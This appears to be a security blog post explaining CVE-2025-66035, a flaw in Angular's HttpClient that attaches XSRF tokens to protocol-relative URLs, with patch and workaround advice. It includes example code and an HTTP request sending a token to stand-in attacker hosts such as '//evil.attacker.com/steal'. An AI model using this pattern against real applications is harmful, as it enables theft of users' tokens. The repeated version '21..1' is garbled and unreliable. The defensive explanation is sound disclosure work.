A new critical vulnerability—CVE-2025-66035—has been found in Angular’s popular HttpClient, affecting versions prior to 19.2.16, 20.3.14, and 21..1. This bug enables attackers to steal your application’s XSRF (Cross-Site Request Forgery) token by certain misuse of protocol-relative URLs if your app isn't updated. This post breaks down how the flaw works, how you can exploit it, and above all, how to patch and avoid it.
What is Angular and HttpClient?
Angular is a widely adopted framework for building web apps in TypeScript or JavaScript. It comes with useful modules; one of them is HttpClient, which simplifies HTTP calls and provides built-in security for XSRF.
What is XSRF?
XSRF (or CSRF) tokens help protect users from malicious requests sent by attackers from their own browsers. Angular helps by automatically attaching an XSRF token to API requests — but *only* when those requests are sent to the same origin.
The Vulnerability Explained: CVE-2025-66035
HttpClient determines if a request is “same-origin” by checking if its URL starts with a protocol (http://, https://). If so, Angular checks if the domain matches current website. If you just provide a path like /api/getInfo, it’s obviously same-origin.
But protocol-relative URLs (which start with //, e.g. //evil.com/api/steal) are a weird edge case. Browsers load them with the same protocol (HTTP or HTTPS) as the current page.
> The Bug:
> In affected Angular versions, when you use //evil.com/something in HttpClient, Angular mistakenly thinks it’s a same-origin call. It adds the X-XSRF-TOKEN header even if it actually goes to a different site—letting attackers steal the token.
How Could This Be Exploited?
Imagine an attacker finds a way to trigger an API call in your client-side code, and can control the URL (perhaps via a GET parameter, or bad input validation). They could set the URL to //evil.attacker.com/steal. Angular adds the XSRF token due to this bug, and the attacker’s website receives it!
Here’s how a malicious code on your site might exploit this problem
// Attacker-controlled input leads to protocol-relative URL
const maliciousUrl = '//evil.attacker.com/steal';
// Angular's HttpClient will incorrectly
// treat this as "same origin" and will attach XSRF tokens
this.httpClient.post(maliciousUrl, { secret: 'your_data' })
.subscribe(response => {
// Attacker now has the XSRF token!
});
Result:
The XSRF token (and any data you put in that post) gets leaked to the attacker’s server.
Suppose you have this code in your Angular app
// Bad: accepts a URL, inserts directly into HttpClient
doApiRequest(userSuppliedUrl: string, data: any) {
this.http.post(userSuppliedUrl, data).subscribe(console.log);
}
Now, an attacker causes userSuppliedUrl to be //evil.com/steal.
Angular (pre-fix) will send the X-XSRF-TOKEN header to evil.com, leaking the token
POST //evil.com/steal HTTP/1.1
Host: evil.com
X-XSRF-TOKEN: s3cr3t-tk3n-value
...
Severity: High (credential exposure)
- Prevalence: All Angular web apps not patched may be vulnerable if user input ever affects request URLs.
- Consequence: Attacker can reuse your session or trick your application into sending authenticated requests.
21..1
After patching, Angular’s HttpClient will no longer treat protocol-relative URLs as same-origin. They won’t get XSRF headers.
Update Angular ASAP.
If you can’t upgrade immediately
- Never use protocol-relative URLs (//...) in HttpClient.
- Always use
- Relative paths, e.g., /api/data or api/data
- Fully qualified URLs, e.g., https://api.yoursite.com/endpoint
References
- NVD CVE-2025-66035 Entry *(pending publication)*
- Angular Security Guide
- GitHub Advisory Angular *(search for CVE-2025-66035)*
- Protocol-relative URLs explained by Mozilla
## Conclusion / TL;DR
- CVE-2025-66035: Angular’s HttpClient leaked XSRF tokens via protocol-relative URLs (//).
Patch: Upgrade to Angular 19.2.16, 20.3.14, or 21..1+.
- As a workaround, never use //... URLs in HttpClient.
Timeline
Published on: 11/26/2025 22:18:35 UTC
Last modified on: 12/01/2025 15:39:33 UTC